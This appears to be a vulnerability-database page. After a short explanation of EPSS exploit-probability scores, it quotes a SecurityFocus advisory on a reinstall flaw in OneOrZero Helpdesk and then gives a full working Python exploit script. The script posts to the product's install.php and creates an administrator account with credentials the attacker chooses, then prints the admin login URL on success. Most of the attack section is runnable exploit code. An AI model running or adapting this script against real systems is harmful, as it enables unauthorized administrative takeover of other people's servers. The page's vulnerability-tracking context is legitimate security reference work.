The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/7611/info OneOrZero Helpdesk has been reported prone to an issue that may result in an attacker obtaining unauthorized administrative access. The issue presents itself due to a programming error in a Helpdesk script. Reportedly a script does not sufficiently check if an instance of OneOrZero Helpdesk has already been installed. import urlparse import httplib import string OneOrZero("http://www.target.com","80","NewUserName","NewPassword") class OneOrZero: def __init__(self,target,port,user,password): if port != "": self.port=str(port) else : self.port="80" self.path=str(urlparse.urlparse(target)[2]) self.target=str(urlparse.urlparse(target)[1]) self.user=str(user) self.password=str(password) self.USER_AGENT='OneOrZero.py' self.CreateAdminAccount() def CreateAdminAccount(self): data='step=2&first=admin&last=admin&user='+self.user+'&pwd1='+self.password+'&pwd2='+self.password+'&email=a@a.a&office=abcd' try : print "Connecting On "+self.target+"...\n" http=httplib.HTTP(self.target,self.port) print "Sending Data On "+self.target+"...\n" http.putrequest("POST",self.path+"/admin/install.php") http.putheader("Content-Type","application/x-www-form-urlencoded") http.putheader("User-Agent",self.USER_AGENT) http.putheader("Host",self.target) http.putheader("Content-Length",str(len(data))) http.endheaders() http.send(data) code,msg,headers = http.getreply() print "HTTP Code : ",str(code) print "HTTP Connection : ",msg print "HTTP headers : \n",headers,"\n" file=http.getfile() if string.find(file.read(),"Administrator Account Created Successfully.") != -1: print "Congratulations, Administrator Account Created Successfully." print "You Can Log In Here : http://"+self.target+self.path+"/admin/control.php" print "User : ",self.user print "Password : ",self.password else : print "Administrator Account Hasn't Been Created." except : print "Error During Admin Account Creation."